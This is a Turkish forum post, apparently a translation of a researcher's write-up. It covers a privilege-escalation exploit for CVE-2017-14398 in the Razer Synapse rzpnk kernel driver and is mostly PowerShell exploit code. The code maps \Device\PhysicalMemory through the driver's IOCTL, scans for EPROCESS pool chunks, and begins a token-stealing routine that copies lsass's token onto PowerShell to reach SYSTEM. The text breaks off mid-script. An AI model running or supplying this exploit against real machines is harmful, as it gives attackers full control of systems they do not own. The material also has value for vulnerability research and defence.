    $hDevice = [Razer]::CreateFile("\\.\47CD78C9-64C3-47C2-B80F-677B887CF095", [System.IO.FileAccess]::ReadWrite,
    [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
     
    if ($hDevice -eq -1) {
        echo "`n[!] Unable to get driver handle..`n"
        Return
    } else {
        echo "`n[>] Driver access OK.."
        echo "[+] lpFileName: \\.\47CD78C9-64C3-47C2-B80F-677B887CF095 => rzpnk"
        echo "[+] Handle: $hDevice"
    }
     
    #----------------[Prepare buffer & Send IOCTL]
     
    # Get full access process handle to self
    echo "`n[>] Opening full access handle to PowerShell.."
    $hPoshProc = [Razer]::OpenProcess(0x001F0FFF,$false,$PID)
    echo "[+] PowerShell handle: $hPoshProc"
     
    # Get Section handle
    echo "`n[>] Leaking Kernel handle to \Device\PhysicalMemory.."
    $SystemProcHandles = Get-Handles -ProcID 4
    [Int]$UserSectionHandle = $(($SystemProcHandles |Where-Object {$_.ObjectType -eq "Section"}).Handle)
    [Int64]$SystemSectionHandle = $UserSectionHandle + 0xffffffff80000000
    echo "[+] System section handle: $('{0:X}' -f $SystemSectionHandle)"
     
    # NTSTATUS ZwMapViewOfSection(
    #   _In_        HANDLE          SectionHandle,      | Param 3 - RCX = SectionHandle
    #   _In_        HANDLE          ProcessHandle,      | Param 1 - RDX = ProcessHandle
    #   _Inout_     P****           *BaseAddress,       | Param 2 - R8  = BaseAddress -> Irrelevant, ptr to NULL
    #   _In_        ULONG_PTR       ZeroBits,           | 0 -> OK - R9
    #   _In_        SIZE_T          CommitSize,         | Param 5 - CommitSize / ViewSize
    #   _Inout_opt_ PLARGE_INTEGER  SectionOffset,      | 0 -> OK
    #   _Inout_     PSIZE_T         ViewSize,           | Param 5 - CommitSize / ViewSize
    #   _In_        SECTION_INHERIT InheritDisposition, | 2 = ViewUnmap
    #   _In_        ULONG           Al********Type,     | 0 -> Un********ed?
    #   _In_        ULONG           Win32Protect        | 0x40 -> PAGE_READWRITE
    # );
    $InBuffer = @(
        [System.BitConverter]::GetBytes($hPoshProc.ToInt64()) +      # Param 1 - RDX=ProcessHandle
        [System.BitConverter]::GetBytes([Int64]0x0) +                # Param 2 - BaseAddress -> Irrelevant, ptr to NULL
        [System.BitConverter]::GetBytes($SystemSectionHandle) +      # Param 3 - RCX=SectionHandle
        [System.BitConverter]::GetBytes([Int64]4) +                  # Param 4 - ? junk ?
        [System.BitConverter]::GetBytes([Int64]$(1*1024*1024)) +     # Param 5 - CommitSize / ViewSize (1mb)
        [System.BitConverter]::GetBytes([Int64]4)                    # Param 6 - ? junk ?
    )
     
    # Output buffer
    $OutBuffer = [Razer]::VirtualAlloc([System.IntPtr]::Zero, 1024, 0x3000, 0x40)
     
    # Ptr receiving output byte count
    $IntRet = 0
     
    #=======
    # 0x22a050 - ZwOpenProcess
    # 0x22A064 - ZwMapViewOfSection
    #=======
    $CallResult = [Razer]::DeviceIoControl($hDevice, 0x22A064, $InBuffer, $InBuffer.Length, $OutBuffer, 1024, [ref]$IntRet, [System.IntPtr]::Zero)
    if (!$CallResult) {
        echo "`n[!] DeviceIoControl failed..`n"
        Return
    }
     
    #----------------[Read out the result buffer]
    echo "`n[>] Verifying ZwMapViewOfSection.."
    $NTSTATUS = "{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8+8+8+8+8))
    $Address = [System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8+8+8)
    if ($NTSTATUS -eq 0) {
        echo "[+] NTSTATUS Success!"
        echo "[+] 1mb RWX \Device\PhysicalMemory allocated at: $('{0:X}' -f $Address)`n"
    } else {
        echo "[!] Call failed: $('{0:X}' -f $NTSTATUS)`n"
    }



Yeni POC'umuzu çalıştırarak aşağıdaki çıktıyı alıyoruz.



Logic_10.png




Başarıyı NTSTATUS kodunu okuyarak ölçtüğümüze ve daha önce 0 olan Int64'ün artık bölümün eşlendiği yerel işlemimizde adresi döndürdüğüne dikkat edin. Process Hacker'a baktığımızda, tam olarak 1024kb'lik güzel bir zararsız bellek tahsisi görebiliriz.



Logic_11.png




Process Hacker'ı kullanarak bu bellek yığınını diske kaydedebiliriz. Bunu yaparsak ve bir şekilde kaydırırsak, aşağıda gösterildiği gibi bazı komik şeyler görebiliriz. Bootkit kimse?



Logic_12.png




Güvenlik açığını hemen hemen kanıtladık, ancak şimdi bir SYSTEM kabuğuna nasıl sahip olabiliriz?


Avcılık EPROCESS


Bundan yararlanmanın en dolaysız yolu, klasik bir jeton çalma saldırısı yapmaktır. Zorluk, eşlenmiş belleğimizdeki EPROCESS yapısını bulmaktır. WinDBG'de biraz araştırma, EPROCESS yapısının bir 'Proc' havuz yığınına ayrıldığını gösteriyor.



Logic_13.png




EPROCESS işaretçisinden 'Proc' havuz parçasının başlangıcını çıkararak, hemen başlık boyutunu da elde ederiz. Tersine, keyfi bir 'Proc' havuz adresimiz varsa, EPROCESS yapısındaki herhangi bir özelliğin konumunu hesaplayabiliriz.



Logic_14.png




Bu mimariye / sürüme bağlı ofsetlere KD'ye geçmeden bakmak istiyorsanız Terminus Projesini kullanabilirsiniz. Bu, @rwfpl tarafından yazılan harika bir kaynak, bu da bana pek çok durumda çok zaman kazandırdı!

Bu yüzden sorunumuzu etkili bir şekilde 'Proc' havuz parçalarını bulmaya indirgedik, henüz tam olarak bir kazanç değil. Bu parçaları bulmak için, eşlenmiş bölümü benzersiz 'Proc' havuz etiketi için tarayabiliriz.



Logic_15.png




Optimizasyon açısından havuz parçalarının 10 altılık bir sınırla hizalandığına dikkat edin. Esasen bu, her 16 baytta bir tek bir DWORD okumamız gerektiği anlamına gelir. Bu pek bir şeye benzemiyor ama bize zaman kazandırıyor. Buna rağmen, 'Proc' havuz parçaları ~ 900mb'den sonra görünmeye başladığından arama çok çok yavaştı. Aramayı daha fazla optimize etmek için, eşlenen belleği farklı işletim sistemi sürümleri için yeterli varyans bırakarak 0x30000000 (0x30000000 / (1024 * 1024) = 768mb) ofsetinde taramaya başlayabiliriz.

Teoriyi test etmek için, 'Proc' havuz parçalarını bulmak ve onay için bazı EPROCESS verilerini atmak için aşağıdaki döngüyü (1.2gb eşlenmiş bir bölümde) kullanabiliriz.



Kod:
echo "`n[>] Parsing physical memory, coffee time..`n"
for ($i=0x30000000;$i -lt $(1200*1024*1024); $i+=0x10) {
     
    # Read potential pooltag
    $Val = [System.Runtime.InteropServices.Marshal]::ReadInt32($Address+$i+4)
     
    # If pooltag matches Proc, pull out details..
    if ($Val -eq 0xe36f7250) {
        echo "[+] w00t Proc chunk found!"
        $ProcessName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($Address+$i+0x60+0x2d8+8) # Not sure why +8 here?
        $Token = [System.Runtime.InteropServices.Marshal]::ReadInt64($Address+$i+0x60+0x208)
        $ProcID = [System.Runtime.InteropServices.Marshal]::ReadInt64($Address+$i+0x60+0x180)
        echo "[>] Address: $('{0:X}' -f $($Address+$i))"
        echo "[>] $ProcessName"
        echo "[>] $ProcID"
        echo "[>] Token: $('{0:X}' -f $Token)"
        echo "==========================================="
    }
}



Sonucun bir kısmı aşağıda gösterilmiştir.



Logic_16.png




Gördüğünüz gibi, bu uygulama mükemmel değil, bazı görüntü adları kesilmiş ve az miktarda algılama, EPROCESS yapıları gibi görünmüyor. Neyse ki, işlemlerin çoğunun doğru bir şekilde tespit edilmesinin garantili olduğunu buldum (PowerShell / lsass dahil).


Oyun bitti


Geriye kalan tek şey, yukarıdaki döngüyü biraz değiştirmektir, böylece lsass belirtecini ve PowerShell belirtecinin konumunu kaydeder. Her iki öğe de bulunduğunda, PowerShell belirtecinin üzerine yazabilir ve SYSTEM'e yükseltebiliriz! Bazı deneyler gerekli olsa da, bu istismarı 8,8.1,10'a taşımak oldukça basit bir alıştırma olmalıdır. Göz önünde bulundurulması gereken tek husus, EPROCESS yapısındaki değişiklikler ve Sistem sürecindeki birden çok bölüm tutamacıyla başa çıkmak için bir strateji geliştirilmesi olacaktır. Nihai istismar aşağıda gösterilmektedir.








 

Provido

Katılımcı Üye
21 Eki 2015
477
1
Kod:
function RZ-ZwMapViewOfSection {
    Add-Type -TypeDefinition @"
    using System;
    using System.Diagnostics;
    using System.Runtime.InteropServices;
    using System.Security.Principal;
     
    public static class Razer
    {
        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        public static extern IntPtr CreateFile(
            String lpFileName,
            UInt32 dwDesiredAccess,
            UInt32 dwShareMode,
            IntPtr lpSecurityAttributes,
            UInt32 dwCreationDisposition,
            UInt32 dwFlagsAndAttributes,
            IntPtr hTemplateFile);
     
        [DllImport("Kernel32.dll", SetLastError = true)]
        public static extern bool DeviceIoControl(
            IntPtr hDevice,
            int IoControlCode,
            byte[] InBuffer,
            int nInBufferSize,
            IntPtr OutBuffer,
            int nOutBufferSize,
            ref int pBytesReturned,
            IntPtr Overlapped);
     
        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern IntPtr VirtualAlloc(
            IntPtr lpAddress,
            uint dwSize,
            UInt32 flAl********Type,
            UInt32 flProtect);
     
        [DllImport("kernel32.dll")]
        public static extern IntPtr OpenProcess(
            UInt32 processAccess,
            bool bInheritHandle,
            int processId);
    }
"@
 
    #----------------[Helper Funcs]
    $CVE201714398 = @"
 
                    shhsddh 
          shhy      Mhsdms  
         mmyydN     hNh     
        hM syyMdds   smNy   
shyshy  Nd s sMshNs  yssmm      Razer Synapse EOP - CVE-2017-14398
 shhdh hNs   dNNNddmdsd yMs
    sddds   mhydNmddmdmddy
           dMdhy                            [by b33f ->  [USER=1541]fuzzy[/USER]Sec]
          dNsyyss           
          smmdddmmmddmh        
                   yhmh
                   hdd      
                    yd      
"@
 
    $CVE201714398
 
    #----------------[Helper Funcs]
    function Get-Handles {
    <#
    .SYNOPSIS
        Use NtQuerySystemInformation::SystemHandleInformation to get a list of
        open handles in the specified process, works on x32/x64.
        Notes:
     
        * For more robust coding I would recomend using  [USER=521394]MaTTi[/USER]festation's
        Get-NtSystemInformation.ps1 part of PowerShellArsenal.
     
    .DESCRIPTION
        Author: Ruben Boonen   [USER=1541]fuzzy[/USER]Sec)
        License: BSD 3-Clause
        Required Dependencies: None
        Optional Dependencies: None
     
    .EXAMPLE
        C:\PS> $SystemProcHandles = Get-Handles -ProcID 4
        C:\PS> $Key = $SystemProcHandles |Where-Object {$_.ObjectType -eq "Key"}
        C:\PS> $Key |ft
     
        ObjectType AccessMask PID Handle HandleFlags KernelPointer
        ---------- ---------- --- ------ ----------- -------------
        Key        0x00000000   4 0x004C NONE        0xFFFFC9076FC29BC0
        Key        0x00020000   4 0x0054 NONE        0xFFFFC9076FCDA7F0
        Key        0x000F0000   4 0x0058 NONE        0xFFFFC9076FC39CE0
        Key        0x00000000   4 0x0090 NONE        0xFFFFC907700A6B40
        Key        0x00000000   4 0x0098 NONE        0xFFFFC90770029F70
        Key        0x00020000   4 0x00A0 NONE        0xFFFFC9076FC9C1A0
        [...Snip...]
    #>
     
        [CmdletBinding()]
        param (
            [Parameter(Mandatory = $True)]
            [int]$ProcID
        )
         
        Add-Type -TypeDefinition @"
        using System;
        using System.Diagnostics;
        using System.Runtime.InteropServices;
        using System.Security.Principal;
         
        [StructLayout(LayoutKind.Sequential, Pack = 1)]
        public struct SYSTEM_HANDLE_INFORMATION
        {
            public UInt32 ProcessID;
            public Byte ObjectTypeNumber;
            public Byte Flags;
            public UInt16 HandleValue;
            public IntPtr Object_Pointer;
            public UInt32 GrantedAccess;
        }
         
        public static class GetHandles
        {
            [DllImport("ntdll.dll")]
            public static extern int NtQuerySystemInformation(
                int SystemInformationClass,
                IntPtr SystemInformation,
                int SystemInformationLength,
                ref int ReturnLength);
        }
"@
     
        # Make sure the PID exists
        if (!$(get-process -Id $ProcID -ErrorAction SilentlyContinue)) {
            Return
        }
     
        # Flag switches (0 = NONE?)
        $FlagSwitches = @{
            0 = 'NONE'
            1 = 'PROTECT_FROM_CLOSE'
            2 = 'INHERIT'
        }
         
        $OSVersion = [Version](Get-WmiObject Win32_OperatingSystem).Version
        $OSMajorMinor = "$($OSVersion.Major).$($OSVersion.Minor)"
        switch ($OSMajorMinor)
        {
            '10.0' # Windows 10 (Tested on v1511)
            {
                # Win 10 v1703
                if ($OSVersion.Build -ge 15063) {
                    $TypeSwitches = @{
                        0x24 = 'TmTm'; 0x18 = 'Desktop'; 0x7 = 'Process'; 0x2c = 'RegistryTransaction'; 0xe = 'DebugObject';
                        0x3d = 'VRegConfigurationContext'; 0x34 = 'DmaDomain'; 0x1c = 'TpWorkerFactory'; 0x1d = 'Adapter';
                        0x5 = 'Token'; 0x39 = 'DxgkSharedResource'; 0xc = 'PsSiloContextPaged'; 0x38 = 'NdisCmState';
                        0xb = 'ActivityReference'; 0x35 = 'PcwObject'; 0x2f = 'WmiGuid'; 0x33 = 'DmaAdapter';
                        0x30 = 'EtwRegistration'; 0x29 = 'Session'; 0x1a = 'RawInputManager'; 0x13 = 'Timer'; 0x10 = 'Mutant';
                        0x14 = 'IRTimer'; 0x3c = 'DxgkCurrentDxgProcessObject'; 0x21 = 'IoCompletion';
                        0x3a = 'DxgkSharedSyncObject'; 0x17 = 'WindowStation'; 0x15 = 'Profile'; 0x23 = 'File';
                        0x2a = 'Partition'; 0x12 = 'Semaphore'; 0xd = 'PsSiloContextNonPaged'; 0x32 = 'EtwConsumer';
                        0x19 = 'Composition'; 0x31 = 'EtwSessionDemuxEntry'; 0x1b = 'CoreMessaging'; 0x25 = 'TmTx';
                        0x4 = 'SymbolicLink'; 0x36 = 'FilterConnectionPort'; 0x2b = 'Key'; 0x16 = 'KeyedEvent';
                        0x11 = 'Callback'; 0x22 = 'WaitCompletionPacket'; 0x9 = 'UserApcReserve'; 0x6 = 'Job';
                        0x3b = 'DxgkSharedSwapChainObject'; 0x1e = 'Controller'; 0xa = 'IoCompletionReserve'; 0x1f = 'Device';
                        0x3 = 'Directory'; 0x28 = 'Section'; 0x27 = 'TmEn'; 0x8 = 'Thread'; 0x2 = 'Type';
                        0x37 = 'FilterCommunicationPort'; 0x2e = 'PowerRequest'; 0x26 = 'TmRm'; 0xf = 'Event';
                        0x2d = 'ALPC Port'; 0x20 = 'Driver';
                    }
                }
                 
                # Win 10 v1607
                if ($OSVersion.Build -ge 14393 -And $OSVersion.Build -lt 15063) {
                    $TypeSwitches = @{
                        0x23 = 'TmTm'; 0x17 = 'Desktop'; 0x7 = 'Process'; 0x2b = 'RegistryTransaction'; 0xd = 'DebugObject';
                        0x3a = 'VRegConfigurationContext'; 0x32 = 'DmaDomain'; 0x1b = 'TpWorkerFactory'; 0x1c = 'Adapter';
                        0x5 = 'Token'; 0x37 = 'DxgkSharedResource'; 0xb = 'PsSiloContextPaged'; 0x36 = 'NdisCmState';
                        0x33 = 'PcwObject'; 0x2e = 'WmiGuid'; 0x31 = 'DmaAdapter'; 0x2f = 'EtwRegistration';
                        0x28 = 'Session'; 0x19 = 'RawInputManager'; 0x12 = 'Timer'; 0xf = 'Mutant'; 0x13 = 'IRTimer';
                        0x20 = 'IoCompletion'; 0x38 = 'DxgkSharedSyncObject'; 0x16 = 'WindowStation'; 0x14 = 'Profile';
                        0x22 = 'File'; 0x3b = 'VirtualKey'; 0x29 = 'Partition'; 0x11 = 'Semaphore'; 0xc = 'PsSiloContextNonPaged';
                        0x30 = 'EtwConsumer'; 0x18 = 'Composition'; 0x1a = 'CoreMessaging'; 0x24 = 'TmTx'; 0x4 = 'SymbolicLink';
                        0x34 = 'FilterConnectionPort'; 0x2a = 'Key'; 0x15 = 'KeyedEvent'; 0x10 = 'Callback';
                        0x21 = 'WaitCompletionPacket'; 0x9 = 'UserApcReserve'; 0x6 = 'Job'; 0x39 = 'DxgkSharedSwapChainObject';
                        0x1d = 'Controller'; 0xa = 'IoCompletionReserve'; 0x1e = 'Device'; 0x3 = 'Directory'; 0x27 = 'Section';
                        0x26 = 'TmEn'; 0x8 = 'Thread'; 0x2 = 'Type'; 0x35 = 'FilterCommunicationPort'; 0x2d = 'PowerRequest';
                        0x25 = 'TmRm'; 0xe = 'Event'; 0x2c = 'ALPC Port'; 0x1f = 'Driver';
                    }
                }
                 
                # Win 10 v1511
                if ($OSVersion.Build -lt 14393) {
                    $TypeSwitches = @{
                        0x02 = 'Type'; 0x03 = 'Directory'; 0x04 = 'SymbolicLink'; 0x05 = 'Token'; 0x06 = 'Job';
                        0x07 = 'Process'; 0x08 = 'Thread'; 0x09 = 'UserApcReserve'; 0x0A = 'IoCompletionReserve';
                        0x0B = 'DebugObject'; 0x0C = 'Event'; 0x0D = 'Mutant'; 0x0E = 'Callback'; 0x0F = 'Semaphore';
                        0x10 = 'Timer'; 0x11 = 'IRTimer'; 0x12 = 'Profile'; 0x13 = 'KeyedEvent'; 0x14 = 'WindowStation';
                        0x15 = 'Desktop'; 0x16 = 'Composition'; 0x17 = 'RawInputManager'; 0x18 = 'TpWorkerFactory';
                        0x19 = 'Adapter'; 0x1A = 'Controller'; 0x1B = 'Device'; 0x1C = 'Driver'; 0x1D = 'IoCompletion';
                        0x1E = 'WaitCompletionPacket'; 0x1F = 'File'; 0x20 = 'TmTm'; 0x21 = 'TmTx'; 0x22 = 'TmRm';
                        0x23 = 'TmEn'; 0x24 = 'Section'; 0x25 = 'Session'; 0x26 = 'Partition'; 0x27 = 'Key';
                        0x28 = 'ALPC Port'; 0x29 = 'PowerRequest'; 0x2A = 'WmiGuid'; 0x2B = 'EtwRegistration';
                        0x2C = 'EtwConsumer'; 0x2D = 'DmaAdapter'; 0x2E = 'DmaDomain'; 0x2F = 'PcwObject';
                        0x30 = 'FilterConnectionPort'; 0x31 = 'FilterCommunicationPort'; 0x32 = 'NetworkNamespace';
                        0x33 = 'DxgkSharedResource'; 0x34 = 'DxgkSharedSyncObject'; 0x35 = 'DxgkSharedSwapChainObject';
                    }
                }
            }
             
            '6.2' # Windows 8 and Windows Server 2012
            {
                $TypeSwitches = @{
                    0x02 = 'Type'; 0x03 = 'Directory'; 0x04 = 'SymbolicLink'; 0x05 = 'Token'; 0x06 = 'Job';
                    0x07 = 'Process'; 0x08 = 'Thread'; 0x09 = 'UserApcReserve'; 0x0A = 'IoCompletionReserve';
                    0x0B = 'DebugObject'; 0x0C = 'Event'; 0x0D = 'EventPair'; 0x0E = 'Mutant'; 0x0F = 'Callback';
                    0x10 = 'Semaphore'; 0x11 = 'Timer'; 0x12 = 'IRTimer'; 0x13 = 'Profile'; 0x14 = 'KeyedEvent';
                    0x15 = 'WindowStation'; 0x16 = 'Desktop'; 0x17 = 'CompositionSurface'; 0x18 = 'TpWorkerFactory';
                    0x19 = 'Adapter'; 0x1A = 'Controller'; 0x1B = 'Device'; 0x1C = 'Driver'; 0x1D = 'IoCompletion';
                    0x1E = 'WaitCompletionPacket'; 0x1F = 'File'; 0x20 = 'TmTm'; 0x21 = 'TmTx'; 0x22 = 'TmRm';
                    0x23 = 'TmEn'; 0x24 = 'Section'; 0x25 = 'Session'; 0x26 = 'Key'; 0x27 = 'ALPC Port';
                    0x28 = 'PowerRequest'; 0x29 = 'WmiGuid'; 0x2A = 'EtwRegistration'; 0x2B = 'EtwConsumer';
                    0x2C = 'FilterConnectionPort'; 0x2D = 'FilterCommunicationPort'; 0x2E = 'PcwObject';
                    0x2F = 'DxgkSharedResource'; 0x30 = 'DxgkSharedSyncObject';
                }
            }
         
            '6.1' # Windows 7 and Window Server 2008 R2
            {
                $TypeSwitches = @{
                    0x02 = 'Type'; 0x03 = 'Directory'; 0x04 = 'SymbolicLink'; 0x05 = 'Token'; 0x06 = 'Job';
                    0x07 = 'Process'; 0x08 = 'Thread'; 0x09 = 'UserApcReserve'; 0x0a = 'IoCompletionReserve';
                    0x0b = 'DebugObject'; 0x0c = 'Event'; 0x0d = 'EventPair'; 0x0e = 'Mutant'; 0x0f = 'Callback';
                    0x10 = 'Semaphore'; 0x11 = 'Timer'; 0x12 = 'Profile'; 0x13 = 'KeyedEvent'; 0x14 = 'WindowStation';
                    0x15 = 'Desktop'; 0x16 = 'TpWorkerFactory'; 0x17 = 'Adapter'; 0x18 = 'Controller';
                    0x19 = 'Device'; 0x1a = 'Driver'; 0x1b = 'IoCompletion'; 0x1c = 'File'; 0x1d = 'TmTm';
                    0x1e = 'TmTx'; 0x1f = 'TmRm'; 0x20 = 'TmEn'; 0x21 = 'Section'; 0x22 = 'Session'; 0x23 = 'Key';
                    0x24 = 'ALPC Port'; 0x25 = 'PowerRequest'; 0x26 = 'WmiGuid'; 0x27 = 'EtwRegistration';
                    0x28 = 'EtwConsumer'; 0x29 = 'FilterConnectionPort'; 0x2a = 'FilterCommunicationPort';
                    0x2b = 'PcwObject';
                }
            }
         
            '6.0' # Windows Vista and Windows Server 2008
            {
                $TypeSwitches = @{
                    0x01 = 'Type'; 0x02 = 'Directory'; 0x03 = 'SymbolicLink'; 0x04 = 'Token'; 0x05 = 'Job';
                    0x06 = 'Process'; 0x07 = 'Thread'; 0x08 = 'DebugObject'; 0x09 = 'Event'; 0x0a = 'EventPair';
                    0x0b = 'Mutant'; 0x0c = 'Callback'; 0x0d = 'Semaphore'; 0x0e = 'Timer'; 0x0f = 'Profile';
                    0x10 = 'KeyedEvent'; 0x11 = 'WindowStation'; 0x12 = 'Desktop'; 0x13 = 'TpWorkerFactory';
                    0x14 = 'Adapter'; 0x15 = 'Controller'; 0x16 = 'Device'; 0x17 = 'Driver'; 0x18 = 'IoCompletion';
                    0x19 = 'File'; 0x1a = 'TmTm'; 0x1b = 'TmTx'; 0x1c = 'TmRm'; 0x1d = 'TmEn'; 0x1e = 'Section';
                    0x1f = 'Session'; 0x20 = 'Key'; 0x21 = 'ALPC Port'; 0x22 = 'WmiGuid'; 0x23 = 'EtwRegistration';
                    0x24 = 'FilterConnectionPort'; 0x25 = 'FilterCommunicationPort';
                }
            }
        }
     
        [int]$BuffPtr_Size = 0
        while ($true) {
            [IntPtr]$BuffPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($BuffPtr_Size)
            $SystemInformationLength = New-Object Int
         
            $CallResult = [GetHandles]::NtQuerySystemInformation(16, $BuffPtr, $BuffPtr_Size, [ref]$SystemInformationLength)
             
            # STATUS_INFO_LENGTH_MISMATCH
            if ($CallResult -eq 0xC0000004) {
                [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
                [int]$BuffPtr_Size = [System.Math]::Max($BuffPtr_Size,$SystemInformationLength)
            }
            # STATUS_SUCCESS
            elseif ($CallResult -eq 0x00000000) {
                break
            }
            # Probably: 0xC0000005 -> STATUS_ACCESS_VIOLATION
            else {
                [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
                return
            }
        }
         
        $SYSTEM_HANDLE_INFORMATION = New-Object SYSTEM_HANDLE_INFORMATION
        $SYSTEM_HANDLE_INFORMATION = $SYSTEM_HANDLE_INFORMATION.GetType()
        if ([System.IntPtr]::Size -eq 4) {
            $SYSTEM_HANDLE_INFORMATION_Size = 16 # This makes sense!
        } else {
            $SYSTEM_HANDLE_INFORMATION_Size = 24 # This doesn't make sense, should be 20 on x64 but that doesn't work.
                                                # Ask no questions, hear no lies!
        }
         
        $BuffOffset = $BuffPtr.ToInt64()
        $HandleCount = [System.Runtime.InteropServices.Marshal]::ReadInt32($BuffOffset)
        $BuffOffset = $BuffOffset + [System.IntPtr]::Size
         
        $SystemHandleArray = @()
        for ($i=0; $i -lt $HandleCount; $i++){
            # PtrToStructure only objects we are targeting, this is expensive computation
            if ([System.Runtime.InteropServices.Marshal]::ReadInt32($BuffOffset) -eq $ProcID) {
                $SystemPointer = New-Object System.Intptr -ArgumentList $BuffOffset
                $Cast = [system.runtime.interopservices.marshal]::PtrToStructure($SystemPointer,[type]$SYSTEM_HANDLE_INFORMATION)
                 
                $HashTable = @{
                    PID = $Cast.ProcessID
                    ObjectType = if (!$($TypeSwitches[[int]$Cast.ObjectTypeNumber])) { "0x$('{0:X2}' -f [int]$Cast.ObjectTypeNumber)" } else { $TypeSwitches[[int]$Cast.ObjectTypeNumber] }
                    HandleFlags = $FlagSwitches[[int]$Cast.Flags]
                    Handle = "0x$('{0:X4}' -f [int]$Cast.HandleValue)"
                    KernelPointer = if ([System.IntPtr]::Size -eq 4) { "0x$('{0:X}' -f $Cast.Object_Pointer.ToInt32())" } else { "0x$('{0:X}' -f $Cast.Object_Pointer.ToInt64())" }
                    AccessMask = "0x$('{0:X8}' -f $($Cast.GrantedAccess -band 0xFFFF0000))"
                }
                 
                $Object = New-Object PSObject -Property $HashTable
                $SystemHandleArray += $Object
                 
            }
     
            $BuffOffset = $BuffOffset + $SYSTEM_HANDLE_INFORMATION_Size
        }
         
        if ($($SystemHandleArray.count) -eq 0) {
            [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
            Return
        }
         
        # Set column order and auto size
        $SystemHandleArray
         
        # Free SYSTEM_HANDLE_INFORMATION array
        [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
    }
 
    #----------------[Get Driver Handle]
     
    $hDevice = [Razer]::CreateFile("\\.\47CD78C9-64C3-47C2-B80F-677B887CF095", [System.IO.FileAccess]::ReadWrite,
    [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
     
    if ($hDevice -eq -1) {
        echo "`n[!] Unable to get driver handle..`n"
        Return
    } else {
        echo "`n[>] Driver access OK.."
        echo "[+] lpFileName: \\.\47CD78C9-64C3-47C2-B80F-677B887CF095 => rzpnk"
        echo "[+] Handle: $hDevice"
    }
     
    #----------------[Prepare buffer & Send IOCTL]
     
    # Get full access process handle to self
    echo "`n[>] Opening full access handle to PowerShell.."
    $hPoshProc = [Razer]::OpenProcess(0x001F0FFF,$false,$PID)
    echo "[+] PowerShell handle: $hPoshProc"
     
    # Get Section handle
    echo "`n[>] Leaking Kernel handle to \Device\PhysicalMemory.."
    $SystemProcHandles = Get-Handles -ProcID 4
    [Int]$UserSectionHandle = $(($SystemProcHandles |Where-Object {$_.ObjectType -eq "Section"}).Handle)
    [Int64]$SystemSectionHandle = $UserSectionHandle + 0xffffffff80000000
    echo "[+] System section handle: $('{0:X}' -f $SystemSectionHandle)"
     
    # NTSTATUS ZwMapViewOfSection(
    #   _In_        HANDLE          SectionHandle,      | Param 3 - RCX = SectionHandle
    #   _In_        HANDLE          ProcessHandle,      | Param 1 - RDX = ProcessHandle
    #   _Inout_     P****           *BaseAddress,       | Param 2 - R8  = BaseAddress -> Irrelevant, ptr to NULL
    #   _In_        ULONG_PTR       ZeroBits,           | 0 -> OK - R9
    #   _In_        SIZE_T          CommitSize,         | Param 5 - CommitSize / ViewSize
    #   _Inout_opt_ PLARGE_INTEGER  SectionOffset,      | 0 -> OK
    #   _Inout_     PSIZE_T         ViewSize,           | Param 5 - CommitSize / ViewSize
    #   _In_        SECTION_INHERIT InheritDisposition, | 2 = ViewUnmap
    #   _In_        ULONG           Al********Type,     | 0 -> Un********ed?
    #   _In_        ULONG           Win32Protect        | 0x40 -> PAGE_READWRITE
    # );
    $InBuffer = @(
        [System.BitConverter]::GetBytes($hPoshProc.ToInt64()) +      # Param 1 - RDX=ProcessHandle
        [System.BitConverter]::GetBytes([Int64]0x0) +                # Param 2 - BaseAddress -> Irrelevant, ptr to NULL
        [System.BitConverter]::GetBytes($SystemSectionHandle) +      # Param 3 - RCX=SectionHandle
        [System.BitConverter]::GetBytes([Int64]4) +                  # Param 4 - ? junk ?
        [System.BitConverter]::GetBytes([Int64]$(1200*1024*1024)) +  # Param 5 - CommitSize / ViewSize
        [System.BitConverter]::GetBytes([Int64]4)                    # Param 6 - ? junk ?
    )
     
    # Output buffer
    $OutBuffer = [Razer]::VirtualAlloc([System.IntPtr]::Zero, 1024, 0x3000, 0x40)
     
    # Ptr receiving output byte count
    $IntRet = 0
     
    #=======
    # 0x22A064 - ZwMapViewOfSection
    #=======
    $CallResult = [Razer]::DeviceIoControl($hDevice, 0x22A064, $InBuffer, $InBuffer.Length, $OutBuffer, 1024, [ref]$IntRet, [System.IntPtr]::Zero)
    if (!$CallResult) {
        echo "`n[!] DeviceIoControl failed..`n"
        Return
    }
     
    #----------------[Read out the result buffer]
    echo "`n[>] Verifying ZwMapViewOfSection.."
    $NTSTATUS = "{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8+8+8+8+8))
    $Address = [System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8+8+8)
    if ($NTSTATUS -eq 0) {
        echo "[+] NTSTATUS Success!"
        echo "[+] 1.2GB RWX \Device\PhysicalMemory allocated at: $('{0:X}' -f $Address)"
    } else {
        echo "[!] Call failed: $('{0:X}' -f $NTSTATUS)"
    }
 
    #----------------[Parse PhysicalMemory]
    echo "`n[>] Parsing physical memory, coffee time..`n"
     
    # Store PwnCount so we can exit our loop!
    $PwnCount = 0
     
    for ($i=0x30000000;$i -lt $(1200*1024*1024); $i+=0x10) {
         
        # Read potential pooltag
        $Val = [System.Runtime.InteropServices.Marshal]::ReadInt32($Address+$i+4)
         
        # If pooltag matches Proc, pull out details..
        if ($Val -eq 0xe36f7250) {
         
            echo "[?] w00t Proc chunk found!"
            $ProcessName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($Address+$i+0x60+0x2d8+8) # Not sure why +8 here?
             
            if ($ProcessName -eq "powershell.exe") {
                $Token = [System.Runtime.InteropServices.Marshal]::ReadInt64($Address+$i+0x60+0x208)
                $WriteWhere = $Address+$i+0x60+0x208
                echo "`n[>] PowerShell poolparty: $('{0:X}' -f $($Address+$i))"
